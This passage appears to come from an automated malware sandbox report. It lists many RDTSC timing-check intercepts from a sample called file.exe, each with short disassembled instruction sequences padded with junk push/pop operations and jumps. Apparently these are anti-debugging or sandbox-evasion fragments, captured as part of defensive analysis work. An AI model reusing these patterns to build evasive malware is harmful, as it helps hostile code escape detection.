Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28BA0 second address: B28BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28BA4 second address: B28BC9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F142CBFA9C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F142CBFA9D7h 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28EC7 second address: B28ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2915E second address: B2918F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 jng 00007F142CBFA9C6h 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F142CBFA9D8h 0x00000018 jc 00007F142CBFA9C6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2918F second address: B29199 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F142CBF9DB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C188 second address: B2C18C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C18C second address: B2C196 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F142CBF9DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C196 second address: B2C19B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F682 second address: B2F6A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DBDh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F6A0 second address: B2F6C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F142CBFA9D1h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pushad 0x0000000d jg 00007F142CBFA9C6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F6C1 second address: B2F6C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F6C7 second address: B2F6CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F25D second address: B2F261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F261 second address: B2F265 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31386 second address: B3139B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F142CBF9DC1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3139B second address: B313B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0F04 second address: 51F0F08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0F08 second address: 51F0F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0F46 second address: 51E0F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0F4A second address: 51E0F58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0F58 second address: 51E0F80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F142CBF9DC5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0156 second address: 51C01C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F142CBFA9D7h 0x00000009 or ecx, 68AB77EEh 0x0000000f jmp 00007F142CBFA9D9h 0x00000014 popfd 0x00000015 mov di, ax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov al, B0h 0x00000021 pushfd 0x00000022 jmp 00007F142CBFA9CBh 0x00000027 and ax, DDFEh 0x0000002c jmp 00007F142CBFA9D9h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0C95 second address: 51E0CBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 mov edi, 22488196h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F142CBF9DC8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0813 second address: 51E0848 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F142CBFA9D3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0848 second address: 51E084C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E084C second address: 51E0852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0852 second address: 51E0871 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0871 second address: 51E0875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0875 second address: 51E0892 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0892 second address: 51E0898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0898 second address: 51E08BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F142CBF9DBFh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dh, 4Fh 0x00000015 mov edx, esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0680 second address: 51E06A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F142CBFA9CFh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d call 00007F142CBFA9CFh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E06A8 second address: 51E074C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F142CBF9DBFh 0x0000000b add cx, A12Eh 0x00000010 jmp 00007F142CBF9DC9h 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov bl, ch 0x0000001b pushfd 0x0000001c jmp 00007F142CBF9DC9h 0x00000021 sbb cl, 00000016h 0x00000024 jmp 00007F142CBF9DC1h 0x00000029 popfd 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F142CBF9DC3h 0x00000036 or esi, 6256394Eh 0x0000003c jmp 00007F142CBF9DC9h 0x00000041 popfd 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E074C second address: 51E0751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0751 second address: 51E0784 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F142CBF9DC5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0321 second address: 51E0325 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0325 second address: 51E032B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E032B second address: 51E0331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0331 second address: 51E0335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0335 second address: 51E0339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0253 second address: 51F0259 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0259 second address: 51F0295 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cl, C7h 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ebx, esi 0x00000014 pushfd 0x00000015 jmp 00007F142CBFA9CCh 0x0000001a sub si, 9998h 0x0000001f jmp 00007F142CBFA9CBh 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0295 second address: 51F02D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov esi, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F142CBF9DC7h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F142CBF9DC5h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52207B0 second address: 522084A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F142CBFA9D1h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F142CBFA9CCh 0x00000017 sub al, FFFFFFD8h 0x0000001a jmp 00007F142CBFA9CBh 0x0000001f popfd 0x00000020 call 00007F142CBFA9D8h 0x00000025 pushad 0x00000026 popad 0x00000027 pop eax 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b jmp 00007F142CBFA9D7h 0x00000030 pop ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F142CBFA9D5h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52002B7 second address: 52002CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F142CBF9DC4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52002CF second address: 520035D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F142CBFA9CDh 0x00000010 jmp 00007F142CBFA9CBh 0x00000015 popfd 0x00000016 mov edi, ecx 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c pushad 0x0000001d mov edi, ecx 0x0000001f popad 0x00000020 pushfd 0x00000021 jmp 00007F142CBFA9D9h 0x00000026 or eax, 21CB4246h 0x0000002c jmp 00007F142CBFA9D1h 0x00000031 popfd 0x00000032 popad 0x00000033 mov eax, dword ptr [ebp+08h] 0x00000036 jmp 00007F142CBFA9CEh 0x0000003b and dword ptr [eax], 00000000h 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F142CBFA9D7h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520035D second address: 520039A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax+04h], 00000000h 0x0000000d jmp 00007F142CBF9DBEh 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov edx, 302F57C0h 0x0000001b mov dx, 2FECh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520039A second address: 52003A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52003A0 second address: 52003A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0538 second address: 51E058C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F142CBFA9D0h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov dx, cx 0x00000012 pushfd 0x00000013 jmp 00007F142CBFA9D8h 0x00000018 jmp 00007F142CBFA9D5h 0x0000001d popfd 0x0000001e popad 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E058C second address: 51E0592 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0592 second address: 51E05DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F142CBFA9CCh 0x00000010 mov ah, 3Ah 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 jmp 00007F142CBFA9CDh 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F142CBFA9CDh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E05DB second address: 51E05EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F142CBF9DBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0E7B second address: 51F0E81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0E81 second address: 51F0E87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0E87 second address: 51F0E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0E8B second address: 51F0E8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0E8F second address: 51F0EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F142CBFA9CFh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 mov ebx, esi 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b jmp 00007F142CBFA9D8h 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F142CBFA9D7h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520014F second address: 5200153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200153 second address: 5200159 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522008C second address: 52200A6 instructions: 0x00000000 rdtsc 0x00000002 mov di, F92Ch 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F142CBF9DBCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52200A6 second address: 52200AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52200AC second address: 52200E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F142CBF9DC0h 0x0000000f mov eax, dword ptr [76FA65FCh] 0x00000014 pushad 0x00000015 mov ecx, 60D2A7FDh 0x0000001a movzx eax, dx 0x0000001d popad 0x0000001e test eax, eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52200E6 second address: 52200EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52200EA second address: 52200F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52200F0 second address: 5220184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F149E8FE21Fh 0x0000000f pushad 0x00000010 mov esi, 24E38313h 0x00000015 mov eax, 63F93D6Fh 0x0000001a popad 0x0000001b mov ecx, eax 0x0000001d jmp 00007F142CBFA9D2h 0x00000022 xor eax, dword ptr [ebp+08h] 0x00000025 jmp 00007F142CBFA9D1h 0x0000002a and ecx, 1Fh 0x0000002d jmp 00007F142CBFA9CEh 0x00000032 ror eax, cl 0x00000034 jmp 00007F142CBFA9D0h 0x00000039 leave 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F142CBFA9D7h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220184 second address: 52201E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00882014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007F14315D9F6Ah 0x00000024 push FFFFFFFEh 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F142CBF9DC3h 0x0000002f sbb eax, 7672567Eh 0x00000035 jmp 00007F142CBF9DC9h 0x0000003a popfd 0x0000003b mov bx, cx 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52201E1 second address: 5220288 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, EBh 0x00000005 pushfd 0x00000006 jmp 00007F142CBFA9D4h 0x0000000b and esi, 1493B0A8h 0x00000011 jmp 00007F142CBFA9CBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop eax 0x0000001b jmp 00007F142CBFA9D6h 0x00000020 ret 0x00000021 nop 0x00000022 push eax 0x00000023 call 00007F14315DABF7h 0x00000028 mov edi, edi 0x0000002a jmp 00007F142CBFA9D0h 0x0000002f xchg eax, ebp 0x00000030 pushad 0x00000031 push ecx 0x00000032 pushfd 0x00000033 jmp 00007F142CBFA9CDh 0x00000038 sbb ch, 00000026h 0x0000003b jmp 00007F142CBFA9D1h 0x00000040 popfd 0x00000041 pop ecx 0x00000042 mov ecx, edi 0x00000044 popad 0x00000045 push eax 0x00000046 jmp 00007F142CBFA9CAh 0x0000004b xchg eax, ebp 0x0000004c jmp 00007F142CBFA9D0h 0x00000051 mov ebp, esp 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 mov eax, edi 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220288 second address: 522028E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522028E second address: 5220292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5220292 second address: 52202AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 mov cx, dx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52202AE second address: 52202BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F142CBFA9CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52202BD second address: 52202C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0065 second address: 51D00B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F142CBFA9CEh 0x00000010 and esp, FFFFFFF8h 0x00000013 pushad 0x00000014 mov di, cx 0x00000017 mov dx, cx 0x0000001a popad 0x0000001b xchg eax, ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f call 00007F142CBFA9D1h 0x00000024 pop ecx 0x00000025 movsx edx, ax 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D00B7 second address: 51D00D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ah, D7h 0x0000000f movsx edx, cx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D00D8 second address: 51D00F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 475CE34Ah 0x00000008 movsx edx, cx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ecx 0x0000000f jmp 00007F142CBFA9CAh 0x00000014 xchg eax, ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D00F8 second address: 51D00FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D00FC second address: 51D0102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
